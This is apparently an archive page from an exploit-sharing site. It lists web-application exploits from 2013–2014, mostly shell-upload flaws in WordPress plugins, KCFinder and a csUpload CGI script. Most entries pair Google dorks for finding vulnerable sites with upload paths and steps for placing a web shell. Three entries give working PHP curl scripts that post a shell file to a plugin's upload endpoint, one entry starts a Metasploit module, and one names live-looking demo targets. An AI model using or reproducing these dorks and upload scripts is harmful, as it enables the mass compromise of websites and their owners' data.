file upload

csUpload Script Site Authentication Bypass

By |April 15th, 2014|

Exploit Title: csUpload Script Site Authentication Bypass
Google Dork: CSUpload.cgi?command=
Date: 4/9/2014
Exploit Author: Satanic2000
Vendor Homepage: http://www.cgiscript.net
Software Link: http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=12
Tested on: linux
vuln: Site.com/[path]/CSUpload/CSUpload.cgi
[path] : /cgi-script/ or /cgi-bin/ or None
Example:
1- http://localhost/cgi-bin/CSUpload//CSUpload.cgi?command=login

2- Bypass Authentication http://localhost/cgi-bin/CSUpload/CSUpload.cgi

3- Select Database Select Databases And Upload (File,Or Shell)
Special tnx S3Ri0uS . Pejvak . l3l4ck.$c0rpi0n And Other Friend

Comments Off on csUpload Script Site Authentication Bypass

KCFinder 2.53 Shell Upload vulnerability

By |April 2nd, 2014|

Exploit Title : KCFinder Upload Shell Vulnerability
Date : 24/04/2014
Google Dork : inurl:/kcfinder/browse.php
Exploit Author : Iranian_Dark_Coders_Team
Home : http://www.idc-team.net
Discovered By : Black.Hack3r
Vendor Homepage : http://kcfinder.sunhater.com/
Version : 2.51 – 2.53
Tested on : Windows 8 & Linux

Events location bug:
http://[localhost]/[path]/kcfinder/config.php
Line 51: ‘deniedExts’ => “exe com msi bat php phps phtml php3 php4 cgi pl”,

Exploit:
http://[localhost]/kcfinder/browse.php
http://[localhost]/[path]/kcfinder/browse.php
Proof:

STEP 1: Go to target link
http://localhost/KCFinder/browse.php

STEP […]

Comments Off on KCFinder 2.53 Shell Upload vulnerability

WP Barclaycart Plugins Arbitrary File Upload Vulnerability

By |March 18th, 2014|

exploit title: WP Barclaycart Plugins Arbitrary File Upload Vulnerability
Author: eX-Sh1Ne
Author Facebook: www.fb.me/ShiNe.gov
Date: 03-2014
GoogleDork: inurl:”wp-content/plugins/barclaycart”

Vulnerable location:

wp-content/plugins/barclaycart/uploadify/uploadify.php

Exploit :

< -?- php $uploadfile="Sh1Ne.php"; $ch = curl_init("http://127.0.0.1/wp-content/plugins/barclaycart/uploadify/uploadify.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>“@$uploadfile”,
‘folder’=>’/wp-content/plugins/barclaycart/uploadify/’));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print “$postResult”;
– ? ->

Shell Access :

http://localhost/wp-content/plugins/barclaycart/uploadify/Sh1Ne.php
or
http://localhost/wp-content/uploads/[years]/[month]/

Comments Off on WP Barclaycart Plugins Arbitrary File Upload Vulnerability

WP Plugins Premium Gallery Manager Arbitrary File Upload

By |March 18th, 2014|

exploit title: WP Plugins Premium Gallery Manager Arbitrary File Upload
Author: eX-Sh1Ne
Author Facebook: www.fb.me/ShiNe.gov
Date: 03-2014
GoogleDork: inurl:”wp-content/plugins/Premium_Gallery_Manager”

Vulnerable path:
site.com/wp-content/plugins/Premium_Gallery_Manager/uploadify/uploadify.php

Exploit:

< -?- php $uploadfile="Sh1Ne.php.jpg"; $ch= curl_init("http://127.0.0.1:8080/wp-content/plugins/Premium_Gallery_Manager/uploadify/uploadify.php"); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS, array('Filedata'=>“@$uploadfile”,
‘folder’=>’/wp-content/plugins/Premium_Gallery_Manager/uploadify/’));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$postResult=curl_exec($ch);
curl_close($ch);
print”$postResult”;
? >

ShellAccess:

http://localhost:8080/wp-content/plugins/Premium_Gallery_Manager/uploadify/Sh1Ne.php.jpg
or
http://localhost:8080/wp-content/uploads/[years]/[month]/

Comments Off on WP Plugins Premium Gallery Manager Arbitrary File Upload

WordPress amerisale-re Remote file Upload Vulnerability

By |February 8th, 2014|

Exploit Title : WordPress amerisale-re Plugin Remote Shell Upload
Exploit Author : T3rm!nat0r5
Google Dork : inurl:/wp-content/plugins/amerisale-re
Vendor Homepage : http://wordpress.org/
Date : 2014/01/30
Tested on : Windows 8 , Linux
This module requires Metasploit: http//metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework

CoDE:

require ‘msf/core’
class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ‘WordPress amerisale-re Plugin Remote
Shell Upload’,
‘Description’ => %q{
This module exploits an arbitrary […]

Comments Off on WordPress amerisale-re Remote file Upload Vulnerability
  • wordpress exploits, webapps exploits, wordpress vulnerability, 1337mir
    Permalink wordpress exploits, webapps exploits, wordpress vulnerability, 1337mirGallery

    WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

By |January 3rd, 2014|

Exploit Title: WordPress dzs-videogallery Plugins Remote File Upload Vulnerability
Author: iskorpitx
Date: 22/11/2013
Vendor Homepage: http://digitalzoomstudio.net
Themes Link: http://digitalzoomstudio.net/docs/wpvideogallery/
Infected File: upload.php
Category: webapps
Google dork: inurl:/wp-content/plugins/dzs-videogallery/
Tested on : Windows/Linux
< ? p h p $uploadfile=””; $ch = curl_init(“http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload.php”); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘file_field’=>”@$uploadfile”));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch); curl_close($ch);
print “$postResult”;
?>
uploaded file:
http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload/upload.html

Comments Off on WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

WordPress Lazy SEO plugin Shell Upload Vulnerability

By |October 10th, 2013|

exploit Title : WordPress Lazy SEO plugin Shell Upload Vulnerability
Exploit Author : Ashiyane Digital Security Team
Discovered By : ACC3SS
Google Dork: : inurl:/wp-content/plugins/lazy-seo/
Date: 2013/09/21
Vendor Homepage : http://wordpress.org/plugins/lazy-seo
Software Link : http://downloads.wordpress.org/plugin/lazy-seo.1.1.9.zip
Version : 1.1.9
Tested on: Windows

Location:
Site/wp-content/plugins/lazy-seo/lazyseo.php
1.Go to address : Site/wp-content/plugins/lazy-seo/lazyseo.php
2.Click on Browse…
3.Select Shell Code
3.Complete the fields
4.Press Enter
5.Shell Address : wp-content/plugins/lazy-seo/Shell.php

Demo:
http://www.dXus.com/wp-content/plugins/lazy-seo/lazyseo.php
http://noteclX.com/wp-content/plugins/lazy-seo/lazyseo.php

Comments Off on WordPress Lazy SEO plugin Shell Upload Vulnerability
  • WordPress-Complete-Gallery-Manager-3.3.3-File-Upload-Vulnerability
    Permalink WordPress-Complete-Gallery-Manager-3.3.3-File-Upload-VulnerabilityGallery

    WordPress Complete Gallery Manager 3.3.3 File Upload Vulnerability

WordPress Complete Gallery Manager 3.3.3 File Upload Vulnerability

By |October 8th, 2013|

Title: WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload Vulnerability
Date: 013-09-17
References: http://www.vulnerability-lab.com/get_content.php?id=1080
VL-ID: 1080
Common Vulnerability Scoring System: 6.6
Vendor Homepage: http://codecanyon.net/item/complete-gallery-manager-for-wordpress/2418606

Introduction:
Using Complete Gallery Manager will make it fun and fast to manage and create galleries for your website.
The plugin enables a wealth of functionality, but just because you can take advantage of its many […]

Comments Off on WordPress Complete Gallery Manager 3.3.3 File Upload Vulnerability